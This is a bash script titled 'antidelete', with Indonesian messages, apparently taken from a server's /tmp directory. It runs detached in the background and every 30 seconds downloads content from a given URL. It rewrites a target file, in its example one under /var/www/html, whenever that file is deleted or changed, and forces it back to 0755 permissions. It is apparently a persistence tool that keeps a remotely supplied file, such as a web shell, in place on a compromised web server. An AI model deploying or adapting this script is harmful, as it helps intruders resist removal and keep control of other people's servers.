File: //tmp/9M13r6ie.4
#!/bin/bash
if [ -z "$1" ] || [ -z "$2" ]; then
echo "Error: Path file dan URL harus diberikan sebagai argumen."
echo "Contoh penggunaan: bash antidelete /var/www/html/test.txt https://localhost/test.txt"
exit 1
fi
FILE_PATH="$1"
URL="$2"
FILE_DIR=$(dirname "$FILE_PATH")
EXPECTED_PERMISSIONS="0755"
create_directory() {
if [ ! -d "$FILE_DIR" ]; then
echo "$(date): Direktori $FILE_DIR tidak ditemukan. Membuat direktori..."
mkdir -p "$FILE_DIR" || {
echo "$(date): Error: Gagal membuat direktori $FILE_DIR."
exit 1
}
echo "$(date): Direktori $FILE_DIR berhasil dibuat."
fi
}
fetch_content() {
if command -v curl &>/dev/null; then
curl -s "$URL" && return 0
elif command -v wget &>/dev/null; then
wget -qO- "$URL" && return 0
elif command -v fetch &>/dev/null; then
fetch -qo- "$URL" && return 0
elif command -v http &>/dev/null; then
http -b GET "$URL" && return 0
fi
echo "$(date): Error: Gagal mengambil konten dari URL $URL. Tidak ada metode yang tersedia."
return 1
}
update_file() {
echo "$EXPECTED_CONTENT" > "$FILE_PATH" || {
echo "$(date): Error: Gagal menulis ke file $FILE_PATH."
return 1
}
echo "$(date): File $FILE_PATH telah diperbarui dengan isi dari URL $URL."
}
check_and_update_permissions() {
CURRENT_PERMISSIONS=$(stat -c "%a" "$FILE_PATH" 2>/dev/null)
if [ "$CURRENT_PERMISSIONS" != "$EXPECTED_PERMISSIONS" ]; then
echo "$(date): Izin file $FILE_PATH adalah $CURRENT_PERMISSIONS. Mengubah ke $EXPECTED_PERMISSIONS..."
chmod "$EXPECTED_PERMISSIONS" "$FILE_PATH" || {
echo "$(date): Error: Gagal mengubah izin file $FILE_PATH."
return 1
}
echo "$(date): Izin file $FILE_PATH berhasil diubah ke $EXPECTED_PERMISSIONS."
fi
}
run_process() {
while true; do
create_directory
EXPECTED_CONTENT=$(fetch_content)
if [ $? -ne 0 ]; then
sleep 30
continue
fi
if [ ! -f "$FILE_PATH" ]; then
echo "$(date): File $FILE_PATH tidak ditemukan. Membuat file baru..."
update_file || sleep 30
else
CURRENT_CONTENT=$(cat "$FILE_PATH" 2>/dev/null)
if [ "$CURRENT_CONTENT" = "$EXPECTED_CONTENT" ]; then
echo "$(date): Isi file $FILE_PATH sudah sesuai dengan URL."
else
echo "$(date): Isi file $FILE_PATH berbeda. Memperbarui file..."
update_file || sleep 30
fi
fi
check_and_update_permissions
sleep 30
done
}
# Jalankan proses di background
run_process &
disown
echo "Script berjalan di background untuk menjaga isi file $FILE_PATH sesuai dengan $URL."